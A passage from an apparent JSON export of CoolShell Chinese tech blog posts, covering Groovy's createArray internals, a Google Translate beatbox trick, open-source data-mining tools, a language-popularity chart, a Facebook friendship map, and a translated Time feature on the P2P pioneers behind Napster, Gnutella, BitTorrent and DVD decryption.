arg0, arg1, arg2, arg3, arg4, arg5};\n }\n ... ...\n ... ...\n} \n```\n\n这里给了一些[解释](http://groovy.329449.n5.nabble.com/Guys-any-explanations-about-this-td3285524.html#a3285676)：\n\n\n\n* **First**: the package is org.codehaus.groovy.runtime. This is NOT a class that any user of Groovy will ever use. There are plenty of XML utilities in groovy.lang or groovy.xml for you to use.\n* **Second**: This class is never invoked from code. It exists so that byte code statements have something to link against. If you dump the stack language of a .class file you may indeed see a “INVOKESTATIC org/codehaus/groovy/runtime/XMLUtil” invocation. This logic is used around the CallSite writing features.\n* **Third**: Implementing a dynamic language (Groovy) in a static language (Java) on a type less virtual machine (JVM) is hard. Every language has their work arounds. We generated some code so that we had something to link against. At one point, JRuby was generating reams of interfaces (IIRC) and have you seen the implementation of OpenJDK? Ever notice now many methods are overloaded for all the primitives plus Object. These are all workarounds to get the end user a good programming experience while still running on the JVM.\n\n\n大意是：这个类对于Groovy的使用者是不会用到的，也不会被调用到，因为在JVM下实现动态语言是有一定的难度，这算是一个work around。\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/3.jpg](https://coolshell.cn/articles/4905.html)[语言的数据亲和力](https://coolshell.cn/articles/4905.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/8.jpg](https://coolshell.cn/articles/2631.html)[五大基于JVM的脚本语言](https://coolshell.cn/articles/2631.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg](https://coolshell.cn/articles/1976.html)[【问题】传球问题](https://coolshell.cn/articles/1976.html)\n* [![Linus：利用二级指针删除单向链表](../wp-content/uploads/2013/02/linus_pointer_to_pointer-150x150.jpg)](https://coolshell.cn/articles/8990.html)[Linus：利用二级指针删除单向链表](https://coolshell.cn/articles/8990.html)\n* [![结对编程的利与弊](../wp-content/uploads/2009/03/cccpairprogramming-150x150.jpg)](https://coolshell.cn/articles/16.html)[结对编程的利与弊](https://coolshell.cn/articles/16.html)\n* [![Docker基础技术：Linux Namespace（下）](../wp-content/uploads/2015/04/jail_cell-150x150.jpg)](https://coolshell.cn/articles/17029.html)[Docker基础技术：Linux Namespace（下）](https://coolshell.cn/articles/17029.html)\nThe post [Groovy是怎么实现createArray的](https://coolshell.cn/articles/3335.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2010-12-1 用Google Translate玩转beat box.md",
    "content": "---\nlayout: post\ntitle: 用Google Translate玩转beat box\ndate: 2010/12/1/ 2:21:44\nupdated: 2010/12/1/ 2:21:44\nstatus: publish\npublished: true\ntype: post\n---\n\n在[Reddit](http://www.reddit.com/r/todayilearned/comments/ed39q/til_how_to_make_google_beatbox_for_you/)上有人发布了怎么使用Google的翻译来玩beat box，很有趣，转过来。\n\n\n\n![](../wp-content/uploads/2010/12/google_beat_box.jpg \"Google 翻译 玩转 Beat box\")\n\n\n下面是相关步骤：\n\n\n1) Go to [Google Translate](http://translate.google.com/)\n\n\n2) 把翻译语言设置成从 German 翻译到 German。（德语）\n\n\n3) 拷贝粘贴这个字符串到translate中：  \n\npv zk pv pv zk pv zk kz zk pv pv pv zk pv zk zk pzk pzk pvzkpkzvpvzk kkkkkk bsch\n\n\n4) 把声音开大，点击“朗读”，\n\n\n另，如果你在Google里以 “Google beatbox” 作为关键词搜索，你会看到 Google Translate出现在最前面的搜索结果中。\n\n\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![我看ChatGPT: 为啥谷歌掉了千亿美金](../wp-content/uploads/2023/02/chatgpt-150x150.jpg)](https://coolshell.cn/articles/22398.html)[我看ChatGPT: 为啥谷歌掉了千亿美金](https://coolshell.cn/articles/22398.html)\n* [![Google Inbox如何跨平台重用代码？](../wp-content/uploads/2014/11/inbox2-640x264-150x150.jpg)](https://coolshell.cn/articles/12136.html)[Google Inbox如何跨平台重用代码？](https://coolshell.cn/articles/12136.html)\n* [![PFIF网上寻人协议](../wp-content/uploads/2013/04/Google-Person-Finder-150x150.png)](https://coolshell.cn/articles/9508.html)[PFIF网上寻人协议](https://coolshell.cn/articles/9508.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg](https://coolshell.cn/articles/5815.html)[来信， 创业 和 移动互联网](https://coolshell.cn/articles/5815.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg](https://coolshell.cn/articles/5701.html)[SteveY对Amazon和Google平台的吐槽](https://coolshell.cn/articles/5701.html)\n* [![一些文章和各种资源](../wp-content/uploads/2011/09/image008-150x150.jpg)](https://coolshell.cn/articles/5224.html)[一些文章和各种资源](https://coolshell.cn/articles/5224.html)\nThe post [用Google Translate玩转beat box](https://coolshell.cn/articles/3331.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2010-12-13 五个免费开源的数据挖掘软件.md",
    "content": "---\nlayout: post\ntitle: 五个免费开源的数据挖掘软件\ndate: 2010/12/13/ 0:41:11\nupdated: 2010/12/13/ 0:41:11\nstatus: publish\npublished: true\ntype: post\n---\n\n在网上看到一篇文章介绍五个免费开源的数据挖掘软件，转过来。\n\n\n#### Orange\n\n\n[![](../wp-content/uploads/2010/12/orange-data-mining-software.jpg)](http://www.ailab.si/orange)[Orange](http://www.ailab.si/orange) 是一个基于组件的数据挖掘和机器学习软件套装，它的功能即友好，又很强大，快速而又多功能的可视化编程前端，以便浏览数据分析和可视化，基绑定了Python以进行脚本开发。它包含了完整的一系列的组件以进行数据预处理，并提供了数据帐目，过渡，建模，模式评估和勘探的功能。其由C++ 和 Python开发，它的图形库是由跨平台的Qt框架开发。\n\n\n#### RapidMiner\n\n\n[![](../wp-content/uploads/2010/12/data-mining-software-rapidminer.jpg)](http://rapidminer.com/)[RapidMiner](http://rapidminer.com/), 以前叫 YALE (Yet Another Learning Environment), 其是一个给机器学习和数据挖掘和分析的试验环境，同时用于研究了真实世界数据挖掘。它提供的实验由大量的算子组成，而这些算子由详细的XML 文件记录，并被RapidMiner图形化的用户接口表现出来。RapidMiner为主要的机器学习过程提供了超过500算子，并且，其结合了学习方案和Weka学习环境的属性评估器。它是一个独立的工具可以用来做数据分析，同样也是一个数据挖掘引擎可以用来集成到你的产品中。\n\n\n\n#### Weka\n\n\n[![](../wp-content/uploads/2010/12/data-mining-software-weka.jpg)](http://www.cs.waikato.ac.nz/~ml/weka/)由Java开发的 [Weka](http://www.cs.waikato.ac.nz/~ml/weka/) (Waikato Environment for Knowledge Analysis) 是一个知名机器学机软件，其支持几种经典的数据挖掘任务，显著的数据预处理，集群，分类，回归，虚拟化，以及功能选择。其技术基于假设数据是以一种单个文件或关联的，在那里，每个数据点都被许多属性标注。 Weka 使用Java的数据库链接能力可以访问SQL数据库，并可以处理一个数据库的查询结果。它主要的用户接品是Explorer，也同样支持相同功能的命令行，或是一种基于组件的知识流接口。\n\n\n#### JHepWork\n\n\n[![](../wp-content/uploads/2010/12/data_mining_software_jhepwork.jpg)](http://jwork.org/jhepwork/)为科学家，工程师和学生所设计的 [jHepWork](http://jwork.org/jhepwork/) 是一个免费的开源数据分析框架，其主要是用开源库来创建 一个数据分析环境，并提供了丰富的用户接口，以此来和那些收费的的软件竞争。它主要是为了科学计算用的二维和三维的制图，并包含了用Java实现的数学科学库，随机数，和其它的数据挖掘算法。 jHepWork 是基于一个高级的编程语言 Jython，当然，Java代码同样可以用来调用 jHepWork 的数学和图形库。\n\n\n#### KNIME\n\n\n[![](../wp-content/uploads/2010/12/data-mining-software-KNIME.jpg)](http://www.knime.org/)[KNIME](http://www.knime.org/) (Konstanz Information Miner) 是一个用户友好，智能的，并有丰演的开源的数据集成，数据处理，数据分析和数据勘探平台。它给了用户有能力以可视化的方式创建数据流或数据通道，可选择性地运行一些或全部的分析步骤，并以后面研究结果，模型 以及 可交互的视图。 KNIME 由Java写成，其基于 Eclipse 并通过插件的方式来提供更多的功能。通过以插件的文件，用户可以为文件，图片，和时间序列加入处理模块，并可以集成到其它各种各样的开源项目中，比如：R语言，Weka， Chemistry Development Kit, 和 LibSVM.\n\n\n源文：<http://www.junauza.com/2010/11/free-data-mining-software.html>（墙）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg](https://coolshell.cn/articles/265.html)[深入浅出单实例Singleton设计模式](https://coolshell.cn/articles/265.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg](https://coolshell.cn/articles/3156.html)[Go语言的”Issue 9″ Closed!](https://coolshell.cn/articles/3156.html)\n* [![结对编程的利与弊](../wp-content/uploads/2009/03/cccpairprogramming-150x150.jpg)](https://coolshell.cn/articles/16.html)[结对编程的利与弊](https://coolshell.cn/articles/16.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/20.jpg](https://coolshell.cn/articles/23.html)[Fork 系统炸弹](https://coolshell.cn/articles/23.html)\n* [![Linux的“宕机”图片](../wp-content/uploads/2009/04/linux_crash_1-150x150.jpg)](https://coolshell.cn/articles/313.html)[Linux的“宕机”图片](https://coolshell.cn/articles/313.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/13.jpg](https://coolshell.cn/articles/10449.html)[C++模板”>>”编译问题与词法消歧设计](https://coolshell.cn/articles/10449.html)\nThe post [五个免费开源的数据挖掘软件](https://coolshell.cn/articles/3356.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2010-12-13 编程语言流行度.md",
    "content": "---\nlayout: post\ntitle: 编程语言流行度\ndate: 2010/12/13/ 1:12:56\nupdated: 2010/12/13/ 1:12:56\nstatus: publish\npublished: true\ntype: post\n---\n\n下面是一个关于编程语言流行度的图（以前本站也有一篇[编程语言流行度的文章](https://coolshell.cn/articles/706.html)）。其X轴是从Github中取来的数据（项目数），而Y轴是从StackOverflow取来的（tag数）。注意：Github提供了语言流行度：<https://github.com/languages>，而本图的原始数据在[这里](http://www.dataists.com/wp-content/uploads/2010/12/language_ranks1.csv)。\n\n\n[![](../wp-content/uploads/2010/12/rank_scatter1-1024x768.png \"编程语言流行度\")](https://coolshell.cn/wp-content/uploads/2010/12/rank_scatter1.png)编程语言流行度（点击看大图）\n来源：<http://www.dataists.com/2010/12/ranking-the-popularity-of-programming-langauges/>\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![千万别惹程序员 ](../wp-content/uploads/2012/02/programming-language-150x150.jpg)](https://coolshell.cn/articles/6639.html)[千万别惹程序员](https://coolshell.cn/articles/6639.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg](https://coolshell.cn/articles/4626.html)[读书笔记：对线程模型的批评](https://coolshell.cn/articles/4626.html)\n* [![编程语言进化](../wp-content/uploads/2010/10/language-evolution-150x150.jpg)](https://coolshell.cn/articles/3100.html)[编程语言进化](https://coolshell.cn/articles/3100.html)\n* [![计算机编程简史图](../wp-content/uploads/2010/07/aboutprogramming04.eng_-150x150.jpg)](https://coolshell.cn/articles/2724.html)[计算机编程简史图](https://coolshell.cn/articles/2724.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/22.jpg](https://coolshell.cn/articles/2598.html)[五个编程语言设计的失误](https://coolshell.cn/articles/2598.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/1.jpg](https://coolshell.cn/articles/2539.html)[参透软件开发的本质 – Uncle Bob Martin 推荐的经典书籍](https://coolshell.cn/articles/2539.html)\nThe post [编程语言流行度](https://coolshell.cn/articles/3385.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2010-12-15 Facebook全球关系网.md",
    "content": "---\nlayout: post\ntitle: Facebook全球关系网\ndate: 2010/12/15/ 0:47:15\nupdated: 2010/12/15/ 0:47:15\nstatus: publish\npublished: true\ntype: post\n---\n\n[Paul Butler](http://www.facebook.com/paulgb) 是Facebook的Data Infrastructure Engineering Team的一个实习生，他把Facebook 5亿用户的人际关系网给图示了出来（见下图，[源图片](http://sphotos.ak.fbcdn.net/hphotos-ak-snc4/hs1382.snc4/163413_479288597199_9445547199_5658562_14158417_n.jpg)）挺赞的。从中我们可以看到，某些地方是一片漆黑……\n\n\n[![Facebook 全球关系网](../wp-content/uploads/2010/12/Visualizing-Friendships-on-Facebook-1024x509.png \"Visualizing Friendships on Facebook\")](https://coolshell.cn/wp-content/uploads/2010/12/Visualizing-Friendships-on-Facebook.png)Facebook全球关系网  \n\n(点击看大图，3.8M)\n\n\n关于Paul是如何产生这个图的，你可以参看：<http://www.facebook.com/notes/facebook-engineering/visualizing-friendships/469716398919> （墙）\n\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![关于Facebook 的 React 专利许可证](../wp-content/uploads/2017/09/react_patent-360x200-1-150x150.jpg)](https://coolshell.cn/articles/18140.html)[关于Facebook 的 React 专利许可证](https://coolshell.cn/articles/18140.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/15.jpg](https://coolshell.cn/articles/7448.html)[扎克伯格的一封信：关于Facebook IPO](https://coolshell.cn/articles/7448.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg](https://coolshell.cn/articles/4939.html)[Quora使用到的技术](https://coolshell.cn/articles/4939.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg](https://coolshell.cn/articles/4549.html)[Facebook 的系统架构](https://coolshell.cn/articles/4549.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/25.jpg](https://coolshell.cn/articles/19.html)[时间1234567890](https://coolshell.cn/articles/19.html)\n* [![X-Y Problem](../wp-content/uploads/2013/12/x-y.problem-150x150.jpg)](https://coolshell.cn/articles/10804.html)[X-Y Problem](https://coolshell.cn/articles/10804.html)\nThe post [Facebook全球关系网](https://coolshell.cn/articles/3396.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2010-12-16 偷了世界的程序员.md",
    "content": "---\nlayout: post\ntitle: 偷了世界的程序员\ndate: 2010/12/16/ 0:39:52\nupdated: 2010/12/16/ 0:39:52\nstatus: publish\npublished: true\ntype: post\n---\n\n本文译自美国时代（time.com）的《[The Men Who Stole the World](http://www.time.com/time/specials/packages/printout/0,29239,2032304_2032746_2032903,00.html)》，原作者：Lev Grossman。相当有传奇色彩，读起来很爽，翻译过来。译得不好，还请大家指正。本中的四个程序员可能并不是那么声名显赫，而且也很不老实，或许算不上成功，不过他们的确改变了世界。**而本文有分析了互联网上P2P的那些事，相当的有参考价值**。\n\n\n*2010年12月17日更新：修改了一些错误，理顺了一些语句。  \n\n2010年12月19日更新：增加了一些插图。* \n\n\n————————正文————————\n\n\n十年前，有四个年轻人改变了这个世界的运作方式。他们使用的并不是法律或是武器或是金钱，而是使用软件来改变世界。他们当时有着激进和极具破坏性的想法，并把这些想法付诸于代码，在Internet上以免费自由方式发布。这四个人，没有一个完成了大学学业，却奠定了今天我们习惯的数字媒体环境的基础。然后，因为各种原因，他们也迅速地消失在公众视野中。\n\n\n1999年，美国东北大学的一个叫Shawn Fanning的一年级新生开发Napster，从此，成为了P2P文件共享和不需要大型机构或零售商就可以获得音乐的先锋和范例。《时代周刊》和《财富》把他放上了封面。那时，他在19岁。\n\n\n就在同一年，一个挪威的只有十几岁的年轻人 Jon Lech Johansen，他和另两个今天都不为人知的程序员，写下了一个程序解密了商业的DVD，而他成为了全球盛名的“ DVD Jon.”，那年，他只有15岁。\n\n\n而在1997年，Justin Frankel，一个亚利桑那州塞多纳的18岁的黑客，开发了一个免费的MP3播放器——WinAmp，其成为了Windows操作系统上装机必备的软件，并造就了主流数字音乐的革命。在他发布的第18个月内，1500万人下载了这个软件。而三年后，Frankel 开发了 Gnutella，一个P2P的文件共享协议，没有中心结点，不像 Napster，其不可能被关闭。目前有上百万人还在使用它。\n\n\n2001年，Bram Cohen, 当年 26 岁，开发了一个P2P的文件传输共享协议—— BitTorrent，其以全新一流的架构全面优化了网络上大文件的共享和传输效率。 BitTorrent 也变成了整个Internet上发布大数据和文件的一个标准。\n\n\n\n在 2000年代的上半段，《时代》采访了这四个程序员。那个时候，看起来他们要以数字化动乱把整个复杂的传统媒体娱乐平台给拆除，而对有版权的电影，音乐和电视的收费则变得困难和不可能，那些艺术家也将无法从他们作品得到报酬，整个娱乐业包括时代华纳也将被炸为平地。而盗版业则借着这四个程员的软件侵袭了美国公司。\n\n\n“毕竟”，我们在2003年报道到：“在整个信息经济中，不可能所有的信息都是免费的”。如果毁灭正在来临，那么， Fanning, Johansen, Frankel 和 Cohen 将是那“[四骑士](http://zh.wikipedia.org/zh-cn/%E5%90%AF%E7%A4%BA%E5%BD%95%E4%B8%AD%E7%9A%84%E5%9B%9B%E9%AA%91%E5%A3%AB)”（译注：启示录中的四骑士传统上被解释为瘟疫、战争、饥荒和死亡）。\n\n\n![](../wp-content/uploads/2010/12/Shawn-Fanning-and-Bram-Cohen-300x225.jpg \"Shawn Fanning and Bram Cohen\")Shawn Fanning（左） 和 Bram Cohen（右）\n\n\n#### **没有毁灭**\n\n\n毁灭并没有发生。但是整个娱乐业因此而改变，而这些改变的复杂性和逐渐演进超出了我们的期望。这些发生的故事，海盗王们的事，对于今天数字化世界正在发生的事情有非常高的参考和教育价值。Fanning, Johansen, Frankel 和 Cohen 现在都硅谷运作着自己的小的，合法的软件公司。他们现在没有在做和盗版有干系的事情——当然，如果他们真的没有。\n\n\nFanning，四个人中唯一一个没有回复我们的采访请求的人，他较早地退出了毁灭传统唱片业的事业。在2001年，Napster因为不堪众多关于其协助并煽动版权侵权的法律诉论的重压，而不得不关闭。2002年，Fanning 创办了新的服务 Snocap —— 他尝试把文件共享合法化，在和相关的唱片公司合作下，Snocap 赋予消费者对其下载作品给于创作者报酬的权利。\n\n\n![](../wp-content/uploads/2010/12/Shawn-Fanning.jpg \"Shawn Fanning\")\n\n\n但是，到那个时候，免费自由的文件共享程序像病毒一样的增涨，而用户则热衷于更换他们的音乐硬盘。他们仅在2001年8月一个月内就交换了30亿个文件。而要从这些文件交易中收到钱是根本不可能的。是的，要和免费竞争是很难的一件事。 Fanning 创造了一个连他自己都搞不定的怪物。\n\n\n所以，他停止继续尝试Snocap下去。 Fanning 的下一个项目是给游戏玩家的社交网络叫 Rupture，最终，他在2008年时以1500万美金把其卖给了电子艺界Electronic Arts ——这是他的第一次发薪日。他现在又于2008年11月开了一个公司 Path， 其主要提供给iPhone手机进行照片分享的服务。\n\n\n而Napster呢？今天他还在。这个商标在破产拍卖时被卖了，然后再被卖了，但其再也没有被 重建。现在其被  Best Buy 运营，其是 iTunes 的竞争者，其口号是—— “More than just a music store.” （不仅仅只是音乐商店）\n\n\n#### 没有盗版的人\n\n\n  \n\n![](../wp-content/uploads/2010/12/Justin-Frankelyoung.jpg \"Justin Frankel(young)\")作为 Gnutella 的作者， Justin Frankel 是 Fanning 合法的继任者。不像 Fanning，他很早就收获了他的第一桶金。在1999年，当WinAmp大放光芒的时候，AOL买了WinAmp和他的公司——Nullsoft，价格应该在1亿美金左右。这让 Frankel 在20岁的时候就非常富有。当然，他也成了AOL的员工。\n\n\n但这并不是很匹配，在Nullsoft, Frankel的做法是把软件开发到极致，然后免费发布出去。而在 AOL，软件的商业销售威胁并压倒了软件本身。“我致力于的产品，就像这样，我们不愿意金钱的掺入，我们正和其它公司做这笔交易，所以，产品也只能是这样的结果”，他回忆到，“没有人真正地去关心用户的体验是怎么样的”。\n\n\n与此同时，Frankel 用他的业余时间开发 Gnutella 。这是一个很有才的软件，不像Napster，其是真正的分布式，没有中心服务器，这样，也没有那个“关闭按钮”让那些律师按。在2000年3月的时候，Gnutella上线，其发了一个贴子：“看见没？AOL也能给你一些好的东西！”，但是就算是这样，也没有换来AOL对其忠爱，而一大堆互联网公司在那时试图并入大的媒体公司，在Napster被诉讼的中期，2004年，他离开了AOL。\n\n\n然后，他开始干了些有趣的事：他离开了他的成功地，他不用 Gnutella，也没有花一毛钱，就算是10年以后也是这样。 LimeWire —— 最流行的 Gnutella 客户端 —— 号称有 5千万用户。“当我开发它的时候，我最初主要是想用其在验证一下是否可行。所以我也不想从其中获益”，他说，“所以，甚至我和它一点关系也没有也说得通，其就是一个概念”。![](../wp-content/uploads/2010/12/Justin-Frankel.jpg \"Justin Frankel\")\n\n\nFrankel 他最近从旧金山搬到了纽约城，现在全心打理自己的公司 Cockos (别问为什么叫这名)，这是一个关于音频产品套件，叫 Reaper。他坚持不懈地改进着它，并且他和他的用户保持着很近的关系，其用户数大约是几万人。“当前的策略我们并不想发展用户数量”，他说，“我们只是在享受目前的过程，并在做正确的事情”。他并不同意他是这个世界上最危险的geek，而滚石在2004年时对他则是这么认为的。“我不觉得盗版是很危险的”，他说，“根本上来说，大众的商业模式总是依赖于对所有事情的强控制——尤其是那些有瑕疵的模式。而作为一个软件开发者来说，多少会产生一定程度的盗版”， Gnutella 对他来说已是远古的事情了。“数字化盗版：它毁了唱片业了吗？没有。唱片业适应了吗？当然，很多人会说得更好。你应该更关注质量，以及更小一些乐队，等等这类的事”。\n\n\n“至于音乐流行和排行这么大的市场，这点盗版算什么？” 他边说边笑道， “我希望就是这样。”\n\n\n#### **四眼怪兽**\n\n\n在这四骑士中，只有 Bram Cohen他现在还在致力于其10年前的那个项目。他是 BitTorrent的创始人和首席科学家，而一个令人敬佩的旧金山的公司希望能把Cohen的这个令人瞠目的高效的内容分布式技术变成商业化应用。\n\n\n![](../wp-content/uploads/2010/12/Bram-cohen-codecon-2006.jpg \"Bram-cohen-codecon-2006\")\n\n\n这是一个奇特的公司：其合法的业务建立在一种仍然可能被用来进行大规模版权侵权的技术上。即使像 BitTorrent这样被8千万用户安装了的东西，其看上去还是像刚刚开始创业一样。 在BitTorrent上有相对较小的一部分是完全合法的 —— 最近的一个研究表明完全合法的部分占11%。而在这11%中，有更少的一部分产生了BitTorrent的收入。\n\n\n就像 Fanning 的 Snocap 一样，Cohen 试图把其BitTorrent从大量的盗版领域转移到合法的领域，这样才能挣到钱。2007年是BT发展最震动的一年，BitTorrent成为了20世纪福克斯、派拉蒙、华纳兄弟 和 米高梅 影业公司的合作伙伴，和他们一起共同形成了 Torrent Entertainment Network，主要提供电影，电视，电子游戏的购买和零售。\n\n\n就像 Fanning一样， Cohen 明了要摆脱盗版并不像看上去的那么容易。“所有的和它有关的事都是灾难”，他说到。Torrent Entertainment Network 于2008年底关闭。回想起来，你能明白这为什么不行。 BitTorrent在用户友好上做得还不够，并且，在其底层也不够有效率。它可以很快地像病毒一样地移动大量的数据。然后，当你要在上面算钱的时候，你不得不把速度给降下来，然后跟踪并控制其下载流，还和使用一些很扯淡的诸如“数字版权管理（DRM）”之流的技术，其大量地限制了用户那些是可以干的，哪些是要买的。\n\n\n“我从这次失败中学到了很多很多的教训”， Cohen 悔恨地说。他现在的策略是只和那些只需要他的BT中的“快速”和“病毒式分布”的人合作。“与其去和那些内容提供商合作，为他们加上特权，以扩展我们的渠道，我们还不如直接获取那更大的渠道，那里的人更喜欢更为开放的方式”。\n\n\n迄今，对些感兴趣的独立电影制片商叫 *Four Eyed Monsters* （四眼怪兽）和 一个叫 *Pioneer One* （[先驱者一号](http://movie.douban.com/subject/4901534/)）的电视剧集的创作团队。说起来有点沮丧：Cohen正坐在一个消防水带上，一个程序员所梦想的成功的技术却失控了，而大的玩家又不想来玩。\n\n\n以他的编码天份，Cohen可以很容易的进入一家大型的公司。但那并不是他的风格。“我的确需要一定的自由度”，他说。他现在正在开发一个全新的事情——一个P2P的实时数据流的系统，而不是分散的文件。这个项止将可能有巨大的潜力，尤其在新闻、体育等事的互联网上的现场直播。当然，他还在维护着 BitTorrent，但他没有花太多的时间在上面。他说：“当我开发它的时候我就知道没错”。\n\n\n#### **简单之道**\n\n\n那么，在去年，盗版导致了什么？在美国，每个人都认为盗版对内容制造者的影响并没有那么坏。一份去年四月份美国审计署的报告，非常牵强地把盗版和滞销给联系在一起，但其结果尚无定论。\n\n\n打击盗版在今天扁平化的世界上并不那么成功。无政府主义的世界观加上那些无与伦比的代码，不可能在那些合法的津津计较的商业界里传播。好的代码应该给用户有不同的选择，用户使用他们也并不一定是对行业有益的。而你真正需要的是向那些合法商业界挑战，挑战他们那些限制用户做用户想做的事的那种独裁性。（译注：这让我想到了腾讯360还有敏感词）\n\n\n另外一个重要的原因是唱片业的灾难是不会发生的。Steve Jobs 在 2003年4月28日，那段时间是互联网文件共享井喷的时候，Apple揭开了iTunes Music Store的面纱。在那个时候，我们都觉得iTunes不可能成功，就像[Snocap](http://en.wikipedia.org/wiki/SNOCAP)以及他和它类似的项目都以失败告终。这是因为，你怎么可以可能和免费竞争呢？\n\n\n但是iTunes 确实成功了。Apple无情地强调着简单和有魅力的用户接口，以及有乔布斯对唱片业的那强有力的谈判，造就了一个最新型的专业的服务，其可以让你放心地下载并传输音乐。的确是做到了，尽管其是收费的，而且我们的购买需要和DRM（数字版权管理）扯上关系并限制我们。\n\n\n于是，我们看到了可以和免费竞争的东西——简单（译注：个人以为可能还需要加上一点时尚）。Napster, Gnutella 和 BitTorrent 从来没有在用户友好度上到达像Apple那样的境界。从来没有人在网上检查并整理那些文件内容，所以，当那些众多的文件被共享时，我们可以看到，很多文件加杂时广告，色情，木马，病毒以及其它一些垃圾。当乔布斯为我们提供了那条简单之路，我们接受了。很明显，自由太过头——至少数字媒体是这样的。\n\n\n![](../wp-content/uploads/2010/12/DVD_Jon.jpg \"DVD Jon\")这是一个让那些年轻的海盗王们认真学习的教训。就像 Fanning, Frankel 和 Cohen一样， 其实，Jon Lech Johansen 并不能算得上是一个真正的海盗。他没有因为想把好莱坞搞破产而去帮助破解DVD，他这样做是因为他想在他的电脑上看电影。他的电脑安装的是Linux操作系统，而1999年，在Linux上根本没有可以用来播放DVD的程序，所以，他和他的伙伴们决定自己写一个，所以，他们不得不先把DVD给解密了。\n\n\n当美国电影协会（ Motion Picture Association of America）发现了DVD被破解的这个事，其向挪威政府控告 Johansen，并拘留了他。 他在奥斯陆(挪威的首都)受审两次，不过两次都被宣告无罪。因为他解密的DVD是他付费购买的。\n\n\n但Johansen真正的明白消费者对其购买的数字媒体的权利，这就好像一本书一样——我们可以不断的使用这本书，或是把这本书借出去，这是我们的权利。2005年， Johansen 去了加利福尼亚，在那里，他逆向工程了 FairPlay，这是苹果公司的用来保护其多媒体文件的DRM类软件（译注：这是苹果公司用来加密iPod的工具）。之后，他注意到了苹果公司产品的用户体验是多么的迷人，所以，他在想，应该把这些东西带给全世界给那些更为无序的非苹果的产品。\n\n\n![](../wp-content/uploads/2010/12/envy-199x300.jpg \"iPhone Envy\")\n\n\n“我们看到这世上有很多很多的产品，但其并没有像他们那样良好地运作”，Johansen说，那时他26岁的程序员。“所以，我们应该开发一个系统，其可以让这些设备的整合起来并给消费者他一个相当不错的用户体验”。\n\n\n所谓的 “我们”，就是 Johansen 自己的公司—— doubleTwist，这个公司于2007年创建。 doubleTwist 软件是免费的，是一种像[罗塞塔石](http://zh.wikipedia.org/zh-cn/%E7%BE%85%E5%A1%9E%E5%A1%94%E7%9F%B3%E7%A2%91)一样的为数字多媒体软件文件开发的软件——它是可以翻译，和谐并组织大约500种不同设备的文件，把他们放在一起并提供一个相当漂亮的接口。其6月份， doubleTwist 摧出 Android App，当时就有超过50万的用户下载了（译注：大家可以[Google一下](http://www.google.com/search?q=doubleTwist+android+app)，好评如潮）。去年， doubleTwist 开始了他的政变打出了这样的广告：“The Cure for iPhone Envy. Your iTunes library on any device. In seconds.”（嫉妒iPhone的对策。你的iTunes库可以在任何设备上，只需几秒钟。）它这个条幅挂在了苹果在旧金山的旗舰店的外墙上。\n\n\nJohansen 拒绝承认他和盗版有关系。“至于我被所指责的，真的和我没有什么关系”，他说。“我支持公平使用，意思是你的确是需要合法地获得内容，但你应该有权利使用任何一款设备或是应用程序来查看那些内容”。 Johansen 像所有的海盗王一样，他总是能写好的代码，而这些好的代码给了人民使用的权力。这才是盗版灾难不会发生的真正原因。**盗版永远不希望所有的音乐和电影或是其它的东西成为免费的，他们想要的“free”其实是自由！**\n\n\n————————————正文结束————————————\n\n\n最后一句话是点睛之笔，作者对这个世界的认识真是相当的透彻。所以，加粗了。我个人理解本文带给我如下的启示：\n\n\n1. 年轻就应该豁得出去，就应该有天不怕地不怕的想法，并付诸于行动。\n2. 互联网上的盗版永远不会停止，与其说是盗版，其后面则是自由和无政府主义。\n3. 自由过度并不是那些利益集团所希望的，并可能会让你惹上麻烦，不过这世界总是因此而改变。\n4. 